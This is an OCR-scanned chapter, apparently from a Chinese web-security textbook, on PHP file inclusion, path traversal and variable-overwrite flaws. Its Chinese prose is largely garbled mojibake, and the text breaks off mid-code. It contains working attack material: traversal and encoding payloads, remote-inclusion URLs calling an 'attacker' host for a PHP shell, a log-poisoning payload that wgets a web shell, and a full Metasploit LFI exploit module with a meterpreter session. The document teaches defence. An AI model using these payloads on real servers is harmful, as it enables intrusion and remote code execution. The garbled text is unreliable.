I, 0 N (OX00) CEHE N AR R RS, BTUAEXAN S, B B RS I — 0
T, BLReENT file AR ST, W
../../etc/passwd\0

BT Web A, K7 UrlEncode, ZZ%:

../../etc/passwds00

AT RN T, SO P i AT

HAE— e Web NI, 0 75 HI P LS AT ZAEHI A, DIk s 4 ml ASEHT 0 775, e
-
<?php

function getVar ($name)

{
Svalue = isset ($_GET[Sname]) ? $ GET[$name] : null;
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if (is_string($value)) {

Svalue = str replace("\0",

'', Svalue);

}

(EIXPEH R R A W, IR AT cloie RILT —AMHI5—FI I HME RS
o S K RO, TR 0 W TASIRIT M H . HSR 0, 76 Windows F
256 797, Linux F 4096 i Sk UM, SR KSR TR B E S . AR
KK IR I 7 BT, s
AL ) /abe

W
/111717777 //7/7////abc

e

../1/abc/../1/abc/../1/abc

BT include()5% 4 MRESh, PHP HHRENEXS SCIFBEAT BRAE 1 R AR AT W] RE BT . AR
KL NGO ARERAT PHP AR, {HAEHS B HUBUR SR R AR e RAR 2 BB™

fopen ()
fread()

SO 55 U 8 80 S5 B S AP 0 Ml 5 4 i A AS S AL, T DA et 2 St k20 I

B FE A
.- c][ﬁv Faoile

[" ) http:/fuwn. cozun. net/content_help. phpPmodul s=content helpmessageliztéhelpids. . /. /. /. Jete/passnd

SRS | KIERES (2 BERE | HFLHE o Bide @ Fibte @ Fibte

0i8IDC Ll

ERET FEEnehAy
=
f=g=H
F iaFEs | siRER
BEEE =

APAF 20115 F BB !
=TEERRtaREE R T2

R
P EALE | @ EREE

" N da s

SCAFAL AT S T Jete/passwd 15 B

(LIl LR S, AT CL” XAy A ORIR R E) B2 E s, X5
MMy “ Hdii ;7 (Path Traversal)o UL H 3 Py, 3d ] LA AN [ ) 4 5 20K
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Rt LB IR 45 A 4
O %2e%2e%2f Z5[FT ./

O %2e%2e/%%[F T/

O %2f %R F./

O %2e%2e%5¢ %[ T\

O %2e%2e\Z[FT..\

O .%5¢ FEF T\

O %252e%252e%255¢ 25 [F]F..\

O .%255¢ %[\ and so on.

L Web 4% RIS id 75 2

O ..%c0%af [T ../

O .%c1%9¢ ZE[FHT .\

Lt CVE-2008-2938, i/t~ Tomcat (1) H 533k [ sl o

W context.xml B server.xml f1F'allowLinking'F1'URIencoding' j"'UTF-8', K+ wjt n] LA
LA Web A FRERAT B 2K R G SN

http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

H S5 a2 —Fh s B H S s ORI 777, {22 PHP iCE T open_basedir 1], R 4
ORI RS &, AR IX AN B TRk

open_basedir 115 H & FRHI7E SRR 2 H sk~ PHP Be4T 193, HLAER S safe mode /&
HIF R R

ELUnAE RIS T, 4V W E open_basedir Ff, SCPEELE I AT LAVS AT 2 S04

<« C @ www.a.con/test.phptest= . /. /L A A E L e

Notice: Use of undefined constant test — assumed ' test’ in D:\soft\develop\env\sites\wew. a. com\test.php on line 3
for test!il!!l

AR DL i

M E T open_basedir HY:

; open basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory
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; or per-virtualhost web server configuration file. This directive is

; *NOT* affected by whether Safe Mode is turned On or Off.

open basedir = D:\soft\develop\env\sites\www.a.com\

SO R

€« C | @www.a.conftest.phpMest=. . /.. /L /o /L e st

Notice: Use of undefined constant test — assumed *test’ in D:\soft\develop\env\sites\www.a. com\test.php on line 3

Warning: include() [function.include]: open basedir restriction in effect. File(. /. / ./ /A Ao/ /o /oo Ao /o /0 /0 /xotxt) is not within the

allowed pathls): (D:\eoft\develop\envisites\www. a caml) in D:\soft\develop\env\sites\wew. a. com\test.php on line 3

Warning: include(.. /. /. /o /o o /o ol L fxotxt) [function. include]: failed to open stream: Operation not permitted in

D:\soft\develop\env\sites\www. a. com\test. php on line 3

Rarning: include() [function includel: Failed opening * ../ /oo /ool foidi b fofo fo b fo fo fo /o fx txt) for inclusion

(include_path=". ;C:\php&ipear’ ) in D:\soft\develop\env\sites\www. a. com\test. php on line 3
DA i

R :

Warning: include() [function.include]: open basedir restriction in effect.

FRALE (0 0/ 00l 0ol ool ool ool ool ool ool ool ool ool ool ool ool ool ool/ReESRE)

allowed path(s): (D:\soft\develop\env\sites\www.a.com\)
in D:\soft\develop\env\sites\www.a.com\test.php on line 3

T B RN, open basedir FI{EAE HRIIRTSE, KA 5
open basedir = /home/app/aaa
i 178514 T D O N = B S <L P o ) W2 BN N E S T
/home/app/aaa
/home/app/aaabbb
/home/app/aaal23

WERERGE —AMRE R H 3, WG ZAE R m Nk “/7

open basedir = /home/app/aaa/

7E Windows F 24~ H &N M H 588 IF, 76 Linux FIUJHE

SR RS E . BNz e T A AR, LR

<?php
Sfile = $ GET['file'];

// Whitelisting possible values
switch ($file) {
case 'main'
case 'foo'
case 'bar':
include '/home/wwwrun/include/'.$file.'.php';

break;
default:
include '/home/wwwrun/include/main.php';
}
2>

$file FMEBEMOS ok, Ll abE S T AT 2 SO0 35 RO XU

WEWT:

FRIT.

is not within the

HIP AT LR R A

—
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1412 IZFEEXHES

1R PHP fRCE ZEI0 allow url include 5 ON f1)i&, M include/require PAEUE A LUINZZEFE
SCAER, X IRTORR A FE SO (Remote File Inclusion, f&FK RFD.  Hhngn RS :

<?php
if (Sroute == "share") {
require once S$basePath . '/action/m share.php';
} elseif ($route == "sharelink") {
require once S$basePath . '/action/m sharelink.php';
}
2>

FEAE 4R SbasePath FBCA BLEALMIRENT, IHKE# ol UG U0 R 4 URL.

/?param=http://attacker/phpshell.txt?

BN ARAD S B AT T

require once 'http://attacker/phpshell.txt?/action/m share.php';

0] 5 J5 T (R A QR 4 A B Ji URL 11 querystring, & —Fh “#RMr 7, 12 7E R IR S A6
BRI R WA T o [RIRERT, %00 o mT LA 7T 5

TR SR SN W] CE RO PAT R A%, BRI IR 55 & EAFAE W R 30

<?php
echo system("ver;");
?>

AN FH] A/ = PANSA f/—
SRR, RIS AT
« C | @ www. a. com/test. php?test=httn:/fwww. b conftestl. txt?

Notice: Use of undefined constant test — assumed “test’ in D:i\soft\develop\env\sites\www. a. com\test.php on line 3
Microsoft Windows XP [BEAS 5.1.2600] Microsoft Windows ¥P [ 5.1.2600]

RG A S WIAT
14.1.3 Atz 4aS89F HEEIS
A SO IR, LS R LA PAT PHP RS, X284

TR S ST 2 P ARERE AT A&, A DR e E S 1 o St & I SO 2
DR A SO 5 P TR AR ZE AT i <, th il ZER B ATt e P 9 A A S A

SRS, ZRMRE SE T RUR LR W E Ty, AR SO AT
PHP 115

(D wEMH BRI,

(2) f7% data:/ B php://input SELHHML
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(3) A% Session A

4

@

T H &S, il Web Server [ access log.

(5) % /proc/selflenviron 1.

(6) A f5 LAL IR ST (RFC1867).
H

(7 w5
AR HT

B EARTOSCAAR S AR, Xt B ) SR — Rtk . P EAR IS AR R
7 PHP A, JIEAXEEACIIHE include() IS 12 AT .

A AV SCPE,  PRanBdla eSO A7 S0Pt WA H AR, d 28 ARG B

B EAL SO RS Soi ey, IO 30 EARDREMI BEvE, LU ZRAE A A%
Ja SCAFFTE R B ER A, AR AN BRARARAERT B o AEATS “SCPF EARRI” —Fhgr i TIRS
et LSO EARDIRERI I

PHEIT php://input 55 75 22k 55 4 32, (RIS ZE3K allow_url_include 1) ON. 7t PHP
52.0 ZJEHIMRATNSCRE data: DA W] DR EHAT A, S RIFFZEK allow_url_include
 ON,

http://www.example.com/index.php?file=data:text/plain,<?php phpinfo ();?>%00

W Session ST FATF B A 4, B ity EHC REAE T 7> Session SUAFII A LL LI

x|s:19:"<?php phpinfo(); 2>"

PHP BRI\ Session SCAFAEAEAACE /tmp Ha R, Eoi:

/tmp/sess_SESSIONID

A0 F H RSO — M EE RO FH I T o PR IR 25 4 — AR 2215 Web Server ) access_log HL
SRR U ) SRAE B, 7E error_log HUA K AR PRIt ny DLl 2l PHP AGAS'S
ANBIHECHA, ESCHEER, R s HESCHR,

B EE R MRS, WD ) BRI, HAS SO AT RN (A HS S
2GB), HEE XA KM, PHP MR RESMEIE. (H Web Server fEAE RN H &,
SREERA R ASET I H SO IR R IR H RSO, R i i ezt PRk e
(K7 F SO FRT REARH /Do

PL Apache Afl, —BRIBGE PRI, Sl httpd AIMC & SCAF httpd.conf, #kF|H &
SCHEFTAERY H 3% . httpd.conf — B A7 (E Apache 1) %%%5 H 5% T, {F Redhat R4 HLERIN 2235 (1 A)
fit M /etc/httpd/ conf/httpd.conf, 1M H E X ZZEEMI AT BELE /ust/local/apache/conf/httpd.conf Hj. 1H
2K, W] HesE AR H %K.
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LI H S SO AT RE S AFAE LU R Iy

eSS/ /.. /var/log/httpd/access log
eSS/ /. /var/log/httpd/error log
../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../apache/logs/access.log
../../apache/logs/error.log
../apache/logs/access.log
S/ / . /.. /etec/httpd/logs/acces log
../etc/httpd/logs/acces.log
../etc/httpd/logs/error log
../etc/httpd/logs/error.log
../var/www/logs/access log
../var/www/logs/access.log

../var/log/apache/access log
../var/log/apache/access.log
../var/log/access_log
../var/www/logs/error log
../var/www/logs/error.log

../var/log/apache/error log
../var/log/apache/error.log
../var/log/access_log
../var/log/error log

N N N N N N N e N

N N N N N

N N N
N N N N

DN N N
N N NN N N N
N N N S N N NN
DN N N N NN
DN N N N N N N N NS

RN AR SR SN AR AR AR AR
/var/log/httpd/access log
/var/log/httpd/error log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error log
/etc/httpd/logs/error.log
/var/www/logs/access log
/var/www/logs/access.log
/usr/local/apache/logs/access log
/usr/local/apache/logs/access.log
/var/log/apache/access log
/var/log/apache/access.log
/var/log/access log
/var/www/logs/error log
/var/www/logs/error.log
/usr/local/apache/logs/error log
/usr/local/apache/logs/error.log
/var/log/apache/error log
/var/log/apache/error.log
/var/log/access_log
/var/log/error log

Metasploit "5 T MHIAS F 2 58 et &5 H RSO B .

../usr/local/apache/logs/access_log
../usr/local/apache/logs/access.log

../usr/local/apache/logs/error log
../usr/local/apache/logs/error.log
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msf exploit (handler) > use exploit/unix/webapp/php 1fi
msf exploit (php 1fi) > set RHOST 127.0.0.1

RHOST => 127.0.0.1

msf exploit (php 1fi) > set RPORT 8181

RPORT => 8181

msf exploit (php 1fi) > set URI /index.php?foo=xxLFIxx
URI => /index.php?foo=xxLFIxx

msf exploit (php 1fi) > set PAYLOAD php/meterpreter/bind tcp
PAYLOAD => php/meterpreter/bind tcp
msf exploit (php 1fi) > exploit -z

[*] Started bind handler

[*] Trying generic exploits

[*] Clean LFI injection

[*] Sending stage (31612 bytes) to 127.0.0.1

[*] Meterpreter session 1 opened (127.0.0.1:19412 ->127.0.0.1:4444) at TueMay 24 14:47:29
+0200 2011

C[-] Exploit exception: Interrupt
[*] Session 1 created in the background.

msf exploit(php 1fi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 1ls

Listing: /usr/home/test/cherokee/www

Mode Size Type Last modified Name

100644/rw-r--r-- 0 fil Tue May 10 11:09:39 +0200 2011 foo.php
40755/ rwxr-xr-x 512 dir Tue May 10 10:53:59 +0200 2011 images
100644/rw-r--r-- 1795 fil Tue May 10 10:19:23 +0200 2011 index.html
100644/rw-r—-r-- 37 fil Tue May 10 13:52:25 +0200 2011 index.php

meterpreter > sysinfo

oS : FreeBSD redphantom.skynet.ct 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb
17 02:41:51 UTC 2011 root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
Computer : redphantom.skynet.ct

Meterpreter : php/php
meterpreter > exit

;£4EﬁgﬁU1::

Copyright (c) 2011 GhostHunter
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:

1. Redistributions of source code must retain the above copyright
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# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# 3. Neither the name of copyright holders nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# “TAS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
require 'msf/core'
require 'rex/proto/ntlm/message’
require "base64"
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super (update info (info,
'Name' => ' PHP LFI ',
'Version' = '1"',
'Description' => 'This module attempts to perform a LFI attack against a PHP
application',
'Author’ => [ 'ghost' 1],
'License' => BSD LICENSE,
'References' = [ ],
'Privileged’ => false,
'Platform’ => ['php'],
'"Arch’ => ARCH PHP,
'Payload’ =>
{
# max header length for Apache,
# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
'Space’' => 8190,
# max url length for some old versions of apache according to
# http://www.boutell.com/newfag/misc/urllength.html
#'Space’ => 4000,
'DisableNops' => true,
'BadChars' => %q|'" |, # quotes are escaped by PHP's magic quotes gpc in
a default install
'Compat' =>
{
'ConnectionType' => 'find',
}I
"Keys' => ['php'l,

}I
'Targets' => [ ['Automatic', { }1, 1,
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'DefaultTarget' => 0
))

register options(
[
Opt: :RPORT (80) ,

OptString.new ('UserAgent', [ true, "The HTTP User-Agent sent in the request",
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"' 1),

OptString.new('URI', [ true, "The URI to authenticate against. The variable
with 'xxLFIxx' will be used for the injection" 1),

OptString.new('LogFiles', [ true, "Log files used to inject PHP code
into", '/var/log/httpd/access log:/home/kippo/cherokee/distrib/var/log/cherokee.access
:/var/log/cherokee.access'])

], self.class)
end

def exploit generic

print status

("Clean LFI injection")
res =

send request cgi ({
'agent' => datastore['UserAgent'],
'uri’ => datastore['URI'].gsub ("xxLFIxx", "php://input"),
'method' => 'POST',
'data' => '<?php
}, 100)
cleanup ()

'+payload.encoded+'?>",

if not session created? ()
print status ("LFI injection with %00 trick")
res = send request cgi ({

'agent' = datastore['UserAgent'],

'uri’ => datastore['URI'].gsub ("xxLFIxx", "php://input%00"),
'method' => 'POST',
'data' => '<?php '+payload.encoded+'?>",
}, 100)
cleanup ()
end
end

def inject log(logf,agent)

res = send request cgi ({
'agent' => agent,
'uri’ => datastore['URI'].gsub ("xxLFIxx",
"o/ "+ logE) ,
'method' => 'GET',
}, 100)

cleanup ()
return res
end

def exploit loginjection
nullbytepoisoning=false
injectable=false

print status ("Testing /etc/passwd")
res =

inject log("/etc/passwd",datastore['UserAgent'])

if res.code >= 200 and res.code <=299 and res.body=~/sbin\/nologin/

print status("log injection without null byte poisioning")
injectable=true

else
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res = inject log("/etc/passwd$00",datastore['UserAgent'])

if res.code >= 200 and res.code <=299 and res.body=~/sbin\/nologin/
print status("injection with null byte poisioning")
nullbytepoisoning=true
injectable=true

end

end

if not injectable
return false
end

print status("Injecting the webserver log files")
index=0
logs=datastore['LogFiles'].split (":")

while not session created?() and index < logs.length
logf=logs[index]
print status('Trying to poison '+logf)
if nullbytepoisoning
logf=logf+"%00"
end

res = inject log(logf,datastore['UserAgent'])

if res.body=~ /#{Regexp.escape (datastore['UserAgent']) }/
print status('Poisoning '+logf+' Via the UserAgent')
res = inject log(logf, '<?php '+payload.encoded+'?>")
sleep (30)
print status("calling the shell")
res = inject log(logf,datastore['UserAgent'])

end

index=index+1

end

end

def exploit
fp=http fingerprint ()
print status("Trying generic exploits")
exploit generic()
if not session created? ()
print status("Trying OS based exploits")
if ( fp =~/unix/i )
print status("Detected a Unix server")
#TODO /proc/self/environ injection
exploit loginjection ()
# TODO ssh logs injection
# TODO mail.log maillog injection
else
print status ("Are they running Windows?!?2?")
end
end
end
end

4p 2R httpd FEE B SCPEANH S H KSR E A 707 U0k PHP (R R [P BT %, T
AN VP RERS R ER 11 Web FRPTEALE . BEAh, &wl DA N i 7 ik,
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£,%% /proc/self/environ A& —Fh S A 795, TR EARASAN T 55 4 G 25 SCAF IR B A2
[T IS FH A s o) e 1R P 25
http://www.website.com/view.php?page=../../../../../proc/self/environ

£ /proc/self/environ LA, WIREHR FW R A

DOCUMENT_ROOT=/home/sirgod/public_htm| GATEWAY INTERFACE=CGI/1.l HTTP ACCEPT=text/html,
application/xml;g=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;g=0.1 HTTP_ COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac
HTTP_HOST=www.website.com

HTTP REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd
HTTP USER AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00
PATH=/bin:/usr/bin

QUERY STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron

REDIRECT STATUS=200 REMOTE ADDR=6x.1xx.4x.1lxx REMOTE PORT=35665 REQUEST METHOD=GET
REQUEST URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT FILENAME=/home/sirgod/public html/index.php SCRIPT NAME=/index.php

SERVER ADDR=1xx.lxx.lxx.6x SERVER ADMIN=webmaster@website.com

SERVER NAME=www.website.com SERVER PORT=80 SERVERiPROTOCOIFHTTP/l .0 SERVER SIGNATURE=
Apache/1.3.37 (Unix) mod ssl1/2.2.11 OpenSSL/0.9.8i DAV/2 mod auth passthrough/2.1
mod bwlimited/1.4 FrontPage/5.0.2.2635 Server at http://www.website.com Port 80

Xt Web BERHIZATINPAEEAR &, FLrp AR 22 #0028 P w] ARSI, B DL IR0t A
User-Agent 17E A PHP AR5, Lbn:

<?php system('wget http://hacker/Shells/phpshell.txt -O shell.php');?>
A TE AT

DL X875y, #EESK PHP AEf 00 & X630, i 28 SO AR # AL T Web H 2 4b,
W% PHP it & T open_basedir, WK AT AE 215 B 2R 2%

{H PHP G AL IGI SCPE, 44T PHP SV 00 B S u i . A0 23 NI I SC
M5, HHeE KT ehrE . 3 RFC1867, PHP A FAL 4k A2 2 aX R«

HTTP POST with a file arrives

PHP begins analysis

PHP creates temp file

- PHP writes data to temp file

PHP closes temp file

script execution begins

[optional] script moves uploaded file
- script execution ends

PHP removes temp files (if any)

time
time window

PHP AbBE A& LR 8
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PHP 2Ky AL SO IG i S0, HH SR AE php.ini [#) upload_tmp_dir "3 . (HIiZ{HER
NhAE, BEIAE Linux F&EH/mp H3%, £ Windows 2 i C:\windows\temp H 3%

WM I SCPE SO BENLI Bt 22 D 2 HERfR A It 12 S 44 A BE R DDA A sl . PHP
TEMCAL H AT 2 A B LR 2, DR AT 122 D) A i SO 4 A v RE . 7F Windows R, (AT
65535 FiAN[R] R SCF 44

Gynvael Coldwind R ABFFL T IXAN R, JF 3R T paper: PHP LFI to arbitratry code
execution via rfc1867 file upload temporary files', 7 DB E 1] LS % 13

142 TEEFTHE

1421 =RTEEE

BRI, HAe P g, B AR fess P82, e PHP i,
IX P L AE register globals k) ON Hf JUH ™,

fF PHP 42.0 ZJSHIRRATE, register_globals BRIk ON 220y | OFF. AR
P DU BIASE R, B R FE S ST M AE . PHP o A S BOF A ZE b, D
register_globals=ON IFf, A& KU gL # A7, HATIIKAH . Cookie 4F. I
B S S R B A AR, Lol R T T

<?php
echo "Register globals: ". (int)ini get ("register globals") ."<br/>";

if ($Sauth) {
echo "private!";

}

2>
* register_globals = OFF I, 1XBACHSIF A2 tH il il

€« C @ www.a. con/testl. phplanth=1
Register_globals: O

Notice: Undefined wariable: auth in D:\soft\develop\env\sites‘\www. a. com\testl. php on line 11
WL L

fHJEY register globals = ON K, #4013k URL: http://www.a.com/testl.php?auth=1, 7%
H# Sauth K 137 B -

1 www.exploit-db.com/download_pdf/17010/
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= C | O www. a. com/testl, phpPanth=1

Register_globals: 1
private!

M3 BUR Az 2 42 )

ALY, HEIISGLOBALS SRERHIA i, W RESHB REH. BOA W .

<?php

echo "Register globals: ".(int)ini get ("register globals") ."<br/>";

if (ini get ('register globals')) foreach($ REQUEST as $k=>Sv) unset (${Sk});
print $a;

print $ GET[b];

?>

X e B WA register_globals AR :
if (ini get('register globals')) foreach (S _REQUEST as S$k=>$v) unset (${$k});

A Sa AWIUHIL, 1E register globals = ON i, F2ildEdl “$a” KM, S hiX Bk
FHARHS T 4 o

$#48: http://www.a.com/test].php?a=1&b=2

« C' O www.a. com/testl, php?a=1&b=2
Register_globals: 1
Notice: Undefined variable: a in D:\soft\develop\env\sites\waw. :

Notice: Use of undefined constant b - assumed *b’ in D:\soft\devel

2
R a R g X
M4 20 EAN “GLOBALS[a]” LA o 42 A iy, W] A Dzl A “$a” AIfH.
4 http://www.a.com/test].php? GLOBALS[a]=1&b=2

<« C O wrw. 3. com/testl, php?CLOBALE [a]=1kb=2

Register_globals: 1
1
Notice: Use of undefined constant b - assumed "B’ in D:iysoftidevelop'\envisit

2
WA a I{H

XK unsetOBRIA R S R4 &, B4R A 2E FHSGLOBALS. Lbin:

<?php
function foo () {

unset (SGLOBALS['bar']) ;
}

Sbar = "something";
foo ()
2>
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M{E register globals = OFF I, WIJCyk7E o5 24 il & o

€ > C Owww.a conftestl, phn?CLOBALS [a]=1kb=2
Fegister_globals: 0
Notice: Undefined variable: a2 in D:\soft\develop\env\sites\www. a. com\testl. php ¢

Notice: Use of undefined constant b — assumed 'b° in D:\soft\developienvisites\wwe

2
WIRAE R a RE X

B AU SR S BARAD I A register_globals, W %245 o5 FTA3 1) superglobals, #EZAHH R
HIARAS

<?php
// Emulate register globals off
function unregister GLOBALS ()
{
if (!ini get('register globals')) {
return;

}

// Might want to change this perhaps to a nicer error

if (isset($7REQUEST['GLOBALS‘]) | isset($7FILES[‘GLOBALS'])) {
die ('GLOBALS overwrite attempt detected');

}

// Variables that shouldn't be unset

SnoUnset = array ('GLOBALS', ' GET',
' _POST', ' COOKIE',
' REQUEST', ' SERVER',
' ENV', ' FILES');
Sinput = array merge ($_GET, $_POST,
$ COOKIE, $ SERVER,
$ _ENV, $ FILES,

isset ($_SESSION) && is_array($_SESSION) 2 $ SESSION : array());

foreach (Sinput as $k => $v) {
if (!in_array(Sk, $noUnset) && isset ($SGLOBALS[Sk])) {
unset (SGLOBALS [$k]) ;
}

unregister GLOBALS () ;
?>
IXAEIL ) PHP 3855 CEbll App Engine 1) Al RES HLEEH .
Pl EAR A G Lok, BIEARR 2 74046, BAE PHP "PIERAIRZ 7 U it R8s
dio M RE I AR BORIEIN, Rk e iR, UK S XSSy SQL EASEH
i, B AR AT .
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14.2.2 extract)ZTEE=

extract() BRI AL HEKE AL T N T N U AT RT3, LR oe LR :

int extract ( array S$var array [, int Sextract type [, string $prefix ]] )

b, oA SHRERECKE R RS AR S RINIAT N, W WA E 2
“EXTR_OVERWRITE” Fl “EXTR_SKIP”,

{EH “EXTR_OVERWRITE” I, 7E4478 & S LT SRR, WA & 44 K Ao
78 i O AR & Hoh “EXTR_SKIP” NIFRRBEAE . 558 NS HCRTaE, UI\IJE%M\TE
HR ] “EXTR_OVERWRITE”,

B AR
<?php
Sauth = '0';

extract ($_GET) ;

if ($Sauth == 1) {
echo "private!";
}else {

echo "public!";

}
2>

4 extract() PRECAN T AT AR 04l T AR RN, W RE R AEAR R A . AEIX M
TH, extract() M\$_GET ' 3iiAch, Min] LLSBUEEAR RS B bl r
L
http://www.a.com/testl.php?auth=1

B A4S B Sauth 11E, Zeid R4S 25 imiZ 4 o

L C' | @ wwy. a. con/testl. phpPanth=1

private!

— I N A WML S E register globals = OFF J&, fE1# H extract() B i H
EXTR_SKIP {fiF AR A i . 1H extract() FISRIEMIFGEW =56, W3R —Fh
AW RRE AT T I B . A I 22 B R AR BRI P, 76 PHP "h /2 i php.ni i)
variables_order JIT & ST K RHUAR &1

AN extract(), LA I7 55t 23 AR AR AT i 1) i) R

14.2.3 BAVBHLEZTE
W L2 DU 7 1 7 ORI R AR, WTRES SRR RE .
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Schs = '';
if ($_POST && Scharset != 'utf-8') {
Schs = new Chinese ('UTF-8', S$charset);
foreach ($_POST as S$key => $value) {
$Skey = $chs->Convert ($value) ;

}
unset ($chs) ;

RS chs, WIRZHiA8H “Schs” M.

FEACH VT I F 2GR “88k” ARy sUA AT REZE o2 AT A, AT 22X
LSRRI SR

14.2.4 import_request_variables ZTEE&E =

bool import request variables ( string $types [, string $prefix ] )
import_request_variables() # GET. POST. Cookie "1 {485 T N 242 Jmy, i XA R £

s SR bR e AT Hrh S T ANSEUR N AR RIS I ATAL, WA 4R E, Wi

B i 4 J) AR

<?php

Sauth = '0';
import_ request variables('G');

if ($Sauth == 1) {
echo "private!";
lelse {

echo "public!";

}
?>

DL EARHS Y, import_request_variables('G) & F A GET &K A&, M FEUL &4
i [

€ C O wrw. a. con/testl. phpTauth=1

private!

14.2.5 parse_str()ZTEE=

void parse str ( string $str [, array &Sarr ] )

parse_str() PR EAE A T AT URL 1) query string, {HJ& S 5EAEBH P ¥, R ]

AE B i

AL T 1 SR AR SE R -

//var.php?var=new AL

Svar = 'init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
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WRARE T parse strOMEE /NS4, WS query string (19738 S AT G A7 N % E AL AR 5
Ho AR parse strQfN, B TR AR E 5 AN SR I )15 .

5 parse_str()ZRAU B EIL AT mb_parse_str().

AT B VR, MRk A A, AT LR R AL

B4, B{R register_globals =OFF. F/EEH & X php.ini, JUNZER S,
HR, BBRERERERNRENIE, MEHFRETRENZENRE.
BJ5, SRR SR

14.3 KBHITRE

PHP A (KA AT I DUIE R R, (HITCH R TR BATF AN B A 25— R e
PRI A 5B AR R AT AR IS G iR 2. (H PHP AR AT RE vl fE2 th 4
1, AL IR, AN, B, A TR 250 A R w2k

14.3.1 “fEBeREY” H11T71KHD

TERTSCR R3], SO & I 2 v DA A RIS AT I . (A PHP ', REBEHATACRS T
OB A S B IRl B fE G R # popen()« system(). passthru(). exec()%5 #l AT LA B
PAT RS 4. AN, eval OB EE AT LIFAT PHP A0AY . I8 —SE LU F IR GG o0, Lo fo i
M bAL PHP AR5, B 78 N H 5N BIRSS 28 1) SCAE N S RSO 2R ] L Y st R )
e B PAT

R LA LS, R BR N B PHP A ] BEA7EE AR AT IR -
14.3.1.1 phpMyAdmin 3.4.3.1 T2 R AZHIT IR H

f£ phpMyAdmin JitA 33.102 5 3.4.3.1 DUFAAAE AR EE SR, W% S 8-
CVE-2011-2505, i CASAFE4E T libraries/auth/swekey/swekey.auth.lib.php H'.

if (strstr($ SERVER['QUERY STRING'], 'session to unset') != false)
{

parse str($ SERVER['QUERY STRING']);

session write close();

session_id($session_to_unset);

session start();

$_SESSION = array();

session write close();

session destroy();

exit;

R AN IE parse_str() B AR NI, HZRXAS ARG, PR E
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Bl exit T, JRAMA T KZ Fil. (HRETT R T Session A8 & ] LR A LEIRSS S, JFHE 4
WA, RERL 7 5 $ SESSION 28 8k i AR 1R 2 18 4 .

i ARy R AT B session_destroy() K IE Y 5% Session, {H A& 7E M 2 HY
session_write_close() CLZ2%F Session fR1E Tk, RG] session_id() AbiK KV Session.

EANRT S BN G R, T E M Session HHHLH AL B AR AR AT A {54, AJRes
R % XSS, SQL yENZE M, (HEATHEA H CVE-2011-2506 T B EH S HEAN—

7E setup/lib/ConfigGenerator.class.php H':

/**
* Creates config file
*
* @return string
“f
public static function getConfigFile ()
{
Scf = ConfigFile::getInstance();

Scrlf = (isset($75ESSION['eOl']) && $7SESSION['eol'] == 'win') ? "\r\n" : "\n";
Sc = S$cf->getConfig();

// header
Sret = '<?php' . S$crlf
v/*' . Scrlf
' * Generated configuration file' . $crlf

' * Generated by: phpMyAdmin '
. SGLOBALS['PMA Config']->get ('PMA VERSION')

' setup script' . S$crlf
' * Date: ' . date(DATE RFC1123) . Scrlf
U SenelliE o SeizlliEg

// servers
if (Scf->getServerCount () > 0) {
Sret .= "/* Servers configuration */$crlf\$i = 0;" . S$crlf . Scrlf;
foreach ($c['Servers'] as $id => $server) {
Sret .= '/* Server: ' . strtr(Scf->getServerName ($id), '*/', '-') . " [$id] */" . Scrlf
'Si++;"' . Scrlf;
foreach ($server as $k => $v) {
Sk = preg replace('/["A-Za-z0-9 1/', ' ', $k):
Sret .= "\$cfg['Servers'][\$i]['Sk'] ="
(is_array($v) && self:: isZeroBasedArray (Sv)
? self:: exportZeroBasedArray($v, $crlf)
: var export ($v, true))
;' . Scrlf;
}
Sret .= Scrlf;
}
Sret .= '/* End of servers configuration */' . $crlf . S$Scrlf;
}

unset ($c['Servers']);

// other settings
SpersistKeys = S$cf->getPersistKeysMap () ;
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foreach ($c as $k => $v) {

Sk = preg replace('/["A-Za-z0-9 1/', ' ', $k):
Sret .= self:: getVarExport ($k, $v, S$crlf);
if (isset (SpersistKeys[S$Sk])) {

